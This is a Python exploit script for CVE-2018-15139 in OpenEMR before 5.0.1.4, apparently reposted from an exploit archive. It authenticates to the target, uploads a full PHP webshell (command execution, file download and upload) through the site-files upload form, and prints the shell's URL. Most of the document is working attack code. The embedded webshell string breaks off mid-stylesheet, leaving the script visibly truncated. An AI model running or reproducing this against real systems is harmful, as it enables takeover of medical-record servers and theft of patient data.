Share
## https://sploitus.com/exploit?id=PACKETSTORM:163110
# Exploit Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)  
# Date 12.06.2021  
# Exploit Author: Ron Jost (Hacker5preme)  
# Vendor Homepage: https://www.open-emr.org/  
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip  
# Version: Prior to 5.0.1.4  
# Tested on: Ubuntu 18.04  
# CVE: CVE-2018-15139  
# CWE: CWE-434  
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15139  
  
'''  
Description:  
Unrestricted file upload in interface/super/manage_site_files.php in versions of OpenEMR before 5.0.1.4 allows a remote  
authenticated attacker to execute arbitrary PHP code by uploading a file with a PHP extension via the images upload  
form and accessing it in the images directory.  
'''  
  
  
'''  
Banner:  
'''  
banner ="""  
___ _____ __ __ ____ ____ ___ _ _____   
/ _ \ _ __ ___ _ __ | ____| \/ | _ \ | ___| / _ \ / | |___ /   
| | | | '_ \ / _ \ '_ \| _| | |\/| | |_) | _____ |___ \| | | || | |_ \   
| |_| | |_) | __/ | | | |___| | | | _ < |_____| ___) | |_| || |_ ___) |   
\___/| .__/ \___|_| |_|_____|_| |_|_| \_\ |____(_)___(_)_(_)____/   
|_|   
  
_____ _ _ _   
| ____|_ ___ __ | | ___ (_) |_   
| _| \ \/ / '_ \| |/ _ \| | __|  
| |___ > <| |_) | | (_) | | |_   
|_____/_/\_\ .__/|_|\___/|_|\__|  
|_|   
  
"""  
print(banner)  
  
  
'''  
Import required modules  
'''  
import argparse  
import requests  
  
  
'''  
User-Input:  
'''  
my_parser = argparse.ArgumentParser(description='OpenEMR Remote Code Execution')  
my_parser.add_argument('-T', '--IP', type=str)  
my_parser.add_argument('-P', '--PORT', type=str)  
my_parser.add_argument('-U', '--PATH', type=str)  
my_parser.add_argument('-u', '--USERNAME', type=str)  
my_parser.add_argument('-p', '--PASSWORD', type=str)  
args = my_parser.parse_args()  
target_ip = args.IP  
target_port = args.PORT  
openemr_path = args.PATH  
username = args.USERNAME  
password = args.PASSWORD  
  
'''  
Authentication:  
'''  
# Preparation:  
session = requests.Session()  
auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'  
auth_chek_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/login/login.php?site=default'  
response = session.get(auth_chek_url)  
  
# Header (auth):  
header = {  
'Host': target_ip,  
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',  
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',  
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'application/x-www-form-urlencoded',  
'Origin': 'http://' + target_ip,  
'Connection': 'close',  
'Referer': auth_chek_url,  
'Upgrade-Insecure-Requests': '1',  
}  
  
# Body (auth):  
body = {  
'new_login_session_management': '1',  
'authProvider': 'Default',  
'authUser': username,  
'clearPass': password,  
'languageChoice': '1'  
}  
  
# Authentication:  
print('')  
print('[+] Authentication')  
auth = session.post(auth_url,headers=header, data=body)  
  
  
'''  
Exploit:  
'''  
print('')  
print('[+] Uploading Webshell:')  
  
# URL:  
exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/super/manage_site_files.php'  
  
# Headers (Exploit):  
header = {  
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",  
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",  
"Accept-Encoding": "gzip, deflate",  
"Content-Type": "multipart/form-data; boundary=---------------------------31900464228840324774249185339",  
"Origin": "http://" + target_ip,  
"Connection": "close",  
"Referer": 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/super/manage_site_files.php',  
"Upgrade-Insecure-Requests": "1"  
}  
  
# Body (Exploit):  
body = "-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_filename\"\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_filedata\"\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n12000000\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_image\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radi  
  
# Send Exploit:  
session.post(exploit_url, headers=header, data=body)  
  
# Finish  
path = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/images/shell.php'  
print('[+] Webshell: ' + path)